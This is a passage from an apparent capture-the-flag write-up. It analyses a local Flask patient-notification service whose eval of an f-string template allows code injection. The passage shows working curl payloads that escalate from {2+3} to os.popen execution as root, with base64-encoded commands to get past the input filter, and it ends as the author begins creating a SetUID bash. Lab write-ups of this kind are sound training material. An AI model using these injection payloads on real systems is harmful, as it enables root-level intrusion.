    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="p">[</span><span class="n">first</span><span class="p">,</span> <span class="n">last</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="n">ts</span><span class="p">,</span> <span class="n">dob</span><span class="p">,</span> <span class="n">gender</span><span class="p">]:</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">pattern</span><span class="p">.</span><span class="nf">fullmatch</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
            <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_INPUT]</span><span class="sh">"</span>
    <span class="c1"># DOB format is DD/MM/YYYY
</span>    <span class="k">try</span><span class="p">:</span>
        <span class="n">year_of_birth</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">dob</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        <span class="k">if</span> <span class="n">year_of_birth</span> <span class="o">&lt;</span> <span class="mi">1900</span> <span class="ow">or</span> <span class="n">year_of_birth</span> <span class="o">&gt;</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">year</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_DOB]</span><span class="sh">"</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_DOB]</span><span class="sh">"</span>
    <span class="n">template</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Patient </span><span class="si">{</span><span class="n">first</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">last</span><span class="si">}</span><span class="s"> (</span><span class="si">{</span><span class="n">gender</span><span class="si">}</span><span class="s">), {{datetime.now().year - year_of_birth}} years old, received from </span><span class="si">{</span><span class="n">sender</span><span class="si">}</span><span class="s"> at </span><span class="si">{</span><span class="n">ts</span><span class="si">}</span><span class="sh">"</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">return</span> <span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">template</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[EVAL_ERROR] </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">"</span><span class="s">/addPatient</span><span class="sh">"</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">"</span><span class="s">POST</span><span class="sh">"</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">receive</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">remote_addr</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">127.0.0.1</span><span class="sh">"</span><span class="p">:</span>
        <span class="nf">abort</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">xml_text</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="nf">decode</span><span class="p">()</span>
        <span class="n">xml_root</span> <span class="o">=</span> <span class="n">ET</span><span class="p">.</span><span class="nf">fromstring</span><span class="p">(</span><span class="n">xml_text</span><span class="p">)</span>
    <span class="k">except</span> <span class="n">ET</span><span class="p">.</span><span class="n">ParseError</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">"</span><span class="s">XML ERROR</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="mi">400</span>
    <span class="n">patient</span> <span class="o">=</span> <span class="n">xml_root</span> <span class="k">if</span> <span class="n">xml_root</span><span class="p">.</span><span class="n">tag</span><span class="o">==</span><span class="sh">"</span><span class="s">patient</span><span class="sh">"</span> <span class="k">else</span> <span class="n">xml_root</span><span class="p">.</span><span class="nf">find</span><span class="p">(</span><span class="sh">"</span><span class="s">patient</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">patient</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">"</span><span class="s">No &lt;patient&gt; tag found</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="mi">400</span>
    <span class="nb">id</span> <span class="o">=</span> <span class="n">uuid</span><span class="p">.</span><span class="nf">uuid4</span><span class="p">().</span><span class="n">hex</span>
    <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="n">tag</span><span class="p">:</span> <span class="p">(</span><span class="n">patient</span><span class="p">.</span><span class="nf">findtext</span><span class="p">(</span><span class="n">tag</span><span class="p">)</span> <span class="ow">or</span> <span class="sh">""</span><span class="p">)</span> <span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">"</span><span class="s">firstname</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">lastname</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">sender_app</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">birth_date</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">gender</span><span class="sh">"</span><span class="p">]}</span>
    <span class="n">notification</span> <span class="o">=</span> <span class="nf">template</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">firstname</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">lastname</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">sender_app</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">birth_date</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">gender</span><span class="sh">"</span><span class="p">])</span>
    <span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">USER_DIR</span><span class="p">,</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="nb">id</span><span class="si">}</span><span class="s">.txt</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">notification</span><span class="o">+</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">notification</span>

<span class="k">if</span> <span class="n">__name__</span><span class="o">==</span><span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="nf">run</span><span class="p">(</span><span class="sh">"</span><span class="s">127.0.0.1</span><span class="sh">"</span><span class="p">,</span><span class="mi">54321</span><span class="p">,</span> <span class="n">threaded</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>

<p>The code defines a server listening on 127.0.0.1 port 54321 with one route, <code class="language-plaintext highlighter-rouge">/addPatient</code>, which only accepts POST requests. If the remote address isn’t 127.0.0.1, it returns 403. It then gets the body of the POST and decodes it as XML, returning 400 if that fails. I’ll validate this:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient
<span class="go">&lt;!doctype html&gt;
&lt;html lang=en&gt;
&lt;title&gt;405 Method Not Allowed&lt;/title&gt;
&lt;h1&gt;Method Not Allowed&lt;/h1&gt;
&lt;p&gt;The method is not allowed for the requested URL.&lt;/p&gt;
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-X</span> POST
<span class="go">XML ERROR
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-d</span> <span class="s1">'testing'</span>
<span class="go">XML ERROR
</span></code></pre></div></div>

<p>If I give it XML, the server then finds a <code class="language-plaintext highlighter-rouge">&lt;patient&gt;</code> tag in the XML, or returns an error:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-d</span> <span class="s1">'&lt;fake&gt;testing&lt;/fake&gt;'</span>
<span class="go">XML ERROR
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-d</span> <span class="s1">'&lt;fake&gt;testing&lt;/fake&gt;'</span>
<span class="go">XML ERROR
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: application/xml'</span> <span class="nt">-d</span> <span class="s1">'&lt;fake&gt;testing&lt;/fake&gt;'</span>            
<span class="go">No &lt;patient&gt; tag found
</span></code></pre></div></div>

<p>By default <code class="language-plaintext highlighter-rouge">curl</code> adds <code class="language-plaintext highlighter-rouge">Content-Type: application/x-www-form-urlencoded</code>, which puts data in <code class="language-plaintext highlighter-rouge">request.form</code> (leaving <code class="language-plaintext highlighter-rouge">request.data</code> blank) in Flask. If I explicitly set it to something else (<code class="language-plaintext highlighter-rouge">application/xml</code> to be correct), it works.</p>

<p>The code from here processes the <code class="language-plaintext highlighter-rouge">&lt;patient&gt;</code> tag and passes it to <code class="language-plaintext highlighter-rouge">template</code>, the results of which are saved into a file and returned to the user:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">patient</span> <span class="o">=</span> <span class="n">xml_root</span> <span class="k">if</span> <span class="n">xml_root</span><span class="p">.</span><span class="n">tag</span><span class="o">==</span><span class="sh">"</span><span class="s">patient</span><span class="sh">"</span> <span class="k">else</span> <span class="n">xml_root</span><span class="p">.</span><span class="nf">find</span><span class="p">(</span><span class="sh">"</span><span class="s">patient</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">patient</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">"</span><span class="s">No &lt;patient&gt; tag found</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="mi">400</span>
    <span class="nb">id</span> <span class="o">=</span> <span class="n">uuid</span><span class="p">.</span><span class="nf">uuid4</span><span class="p">().</span><span class="n">hex</span>
    <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="n">tag</span><span class="p">:</span> <span class="p">(</span><span class="n">patient</span><span class="p">.</span><span class="nf">findtext</span><span class="p">(</span><span class="n">tag</span><span class="p">)</span> <span class="ow">or</span> <span class="sh">""</span><span class="p">)</span> <span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">"</span><span class="s">firstname</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">lastname</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">sender_app</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">birth_date</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">gender</span><span class="sh">"</span><span class="p">]}</span>
    <span class="n">notification</span> <span class="o">=</span> <span class="nf">template</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">firstname</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">lastname</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">sender_app</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">birth_date</span><span class="sh">"</span><span class="p">],</span><span class="n">data</span><span class="p">[</span><span class="sh">"</span><span class="s">gender</span><span class="sh">"</span><span class="p">])</span>
    <span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">USER_DIR</span><span class="p">,</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="nb">id</span><span class="si">}</span><span class="s">.txt</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">notification</span><span class="o">+</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">notification</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">template</code> function is not at all safe:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">template</span><span class="p">(</span><span class="n">first</span><span class="p">,</span> <span class="n">last</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="n">ts</span><span class="p">,</span> <span class="n">dob</span><span class="p">,</span> <span class="n">gender</span><span class="p">):</span>
    <span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">compile</span><span class="p">(</span><span class="sa">r</span><span class="sh">"</span><span class="s">^[a-zA-Z0-9._</span><span class="sh">'</span><span class="s">\"(){}=+/]+$</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="p">[</span><span class="n">first</span><span class="p">,</span> <span class="n">last</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="n">ts</span><span class="p">,</span> <span class="n">dob</span><span class="p">,</span> <span class="n">gender</span><span class="p">]:</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">pattern</span><span class="p">.</span><span class="nf">fullmatch</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
            <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_INPUT]</span><span class="sh">"</span>
    <span class="c1"># DOB format is DD/MM/YYYY
</span>    <span class="k">try</span><span class="p">:</span>
        <span class="n">year_of_birth</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">dob</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        <span class="k">if</span> <span class="n">year_of_birth</span> <span class="o">&lt;</span> <span class="mi">1900</span> <span class="ow">or</span> <span class="n">year_of_birth</span> <span class="o">&gt;</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">year</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_DOB]</span><span class="sh">"</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">"</span><span class="s">[INVALID_DOB]</span><span class="sh">"</span>
    <span class="n">template</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Patient </span><span class="si">{</span><span class="n">first</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">last</span><span class="si">}</span><span class="s"> (</span><span class="si">{</span><span class="n">gender</span><span class="si">}</span><span class="s">), {{datetime.now().year - year_of_birth}} years old, received from </span><span class="si">{</span><span class="n">sender</span><span class="si">}</span><span class="s"> at </span><span class="si">{</span><span class="n">ts</span><span class="si">}</span><span class="sh">"</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">return</span> <span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">template</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[EVAL_ERROR] </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span>
</code></pre></div></div>

<p>Any time I see <code class="language-plaintext highlighter-rouge">eval</code> I know that’s bad (and probably vulnerable) code. Input validating is the regex at the top, making sure that the entire string is only certain characters.</p>

<p>To get to the <code class="language-plaintext highlighter-rouge">eval</code>, I’ll need to make sure the <code class="language-plaintext highlighter-rouge">&lt;patient&gt;</code> tag includes tags for each of <code class="language-plaintext highlighter-rouge">first</code>, <code class="language-plaintext highlighter-rouge">last</code>, <code class="language-plaintext highlighter-rouge">sender</code>, <code class="language-plaintext highlighter-rouge">ts</code>, <code class="language-plaintext highlighter-rouge">dob</code>, and <code class="language-plaintext highlighter-rouge">gender</code> are present. Otherwise they get parsed to the empty string and then fail the regex check here:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;testing&lt;/patient&gt;'</span>
<span class="go">[INVALID_INPUT]
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;/patient&gt;'</span>
<span class="go">[INVALID_INPUT]
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;f&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (f), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p>With all the fields, it passes.</p>

<h3 id="template-injection">Template Injection</h3>

<h4 id="eval-poc">Eval POC</h4>

<p>For some reason the application author decided to calculate the age with an <code class="language-plaintext highlighter-rouge">eval</code> call on the entire string, which is incredibly unrealistic. The <code class="language-plaintext highlighter-rouge">f"f'''{template}'''"</code> call is also very weird. It leaves the inner f-string unresolved:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>python3
<span class="go">Python 3.12.3 (main, Mar 23 2026, 19:04:32) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span>s <span class="o">=</span> <span class="s2">"test"</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span>f<span class="s2">"f'''{s}'''"</span>
<span class="go">"f'''test'''"
</span></code></pre></div></div>

<p>That means that my input goes into <code class="language-plaintext highlighter-rouge">eval</code> wrapped in an f-string. So just putting Python code won’t work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="n">s</span> <span class="o">=</span> <span class="sh">"</span><span class="s">2 + 3</span><span class="sh">"</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span>
<span class="go">"f'''2 + 3'''"
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
<span class="go">'2 + 3'
</span></code></pre></div></div>

<p>However, if I put my input inside <code class="language-plaintext highlighter-rouge">{}</code> (which for some reason are allowed through the safety regex), it evaluates:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="n">s</span> <span class="o">=</span> <span class="sh">"</span><span class="s">{2 + 3}</span><span class="sh">"</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span>
<span class="go">"f'''{2 + 3}'''"
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
<span class="go">'5'
</span></code></pre></div></div>

<p>This same behavior shows up on Interpreter:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;2+3&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (2+3), 26 years old, received from app at 1234
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{2+3}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (5), 26 years old, received from app at 1234
</span></code></pre></div></div>

<h4 id="execution">Execution</h4>

<p>I can’t use spaces, but there are nice Python snippets that will get execution from here. <code class="language-plaintext highlighter-rouge">__import__</code> is a Python built-in function that is called behind the <code class="language-plaintext highlighter-rouge">import &lt;library&gt;</code> and <code class="language-plaintext highlighter-rouge">from &lt;library&gt; import &lt;object&gt;</code> syntaxes. I can access it directly to import a library:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{__import__("os")}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (&lt;module 'os' (frozen)&gt;), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p>With access to the <code class="language-plaintext highlighter-rouge">os</code> module, I’ll call <code class="language-plaintext highlighter-rouge">popen</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{__import__("os").popen("id")}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (&lt;os._wrap_close object at 0x7f6d7942e350&gt;), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">popen</code> returns a <code class="language-plaintext highlighter-rouge">os._wrap_close</code> object. To see the results, I’ll need to <code class="language-plaintext highlighter-rouge">read</code> from it:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{__import__("os").popen("id").read()}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (uid=0(root) gid=0(root) groups=0(root)
), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p>That’s execution as root.</p>

<h4 id="shell-1">Shell</h4>

<p>To run a more complex command than <code class="language-plaintext highlighter-rouge">id</code>, the straightforward approach would require characters that aren’t allowed (like space). There are a bunch of ways around this, but I’ll opt to base64-encode the command and then decode it with Python. If I want to start with the <code class="language-plaintext highlighter-rouge">id</code> command, it encodes to:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'id'</span> | <span class="nb">base64</span>
<span class="go">aWQK
</span></code></pre></div></div>

<p>Now I can decode that via the injection:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="n">s</span> <span class="o">=</span> <span class="sh">"</span><span class="s">{__import__(</span><span class="sh">'</span><span class="s">base64</span><span class="sh">'</span><span class="s">).b64decode(</span><span class="sh">'</span><span class="s">aWQK</span><span class="sh">'</span><span class="s">)}</span><span class="sh">"</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
<span class="go">"b'id\\n'"
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="n">s</span> <span class="o">=</span> <span class="sh">"</span><span class="s">{__import__(</span><span class="sh">'</span><span class="s">os</span><span class="sh">'</span><span class="s">).popen(__import__(</span><span class="sh">'</span><span class="s">base64</span><span class="sh">'</span><span class="s">).b64decode(</span><span class="sh">'</span><span class="s">aWQK</span><span class="sh">'</span><span class="s">).decode()).read()}</span><span class="sh">"</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="nf">eval</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">f</span><span class="sh">'''</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="sh">'''"</span><span class="p">)</span>
<span class="go">'uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)\n'
</span></code></pre></div></div>

<p>That’s a complete command run! I’ll try it on Interpreter:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{__import__("os").popen(__import__("base64").b64decode("aWQK").decode()).read()}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (uid=0(root) gid=0(root) groups=0(root)
), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p>That’s execution as root again!</p>

<p>Now to run other commands, I just need to base64-encode them. I’ll create a SetUID <code class="language-plaintext highlighter-rouge">bash</code>:</p>

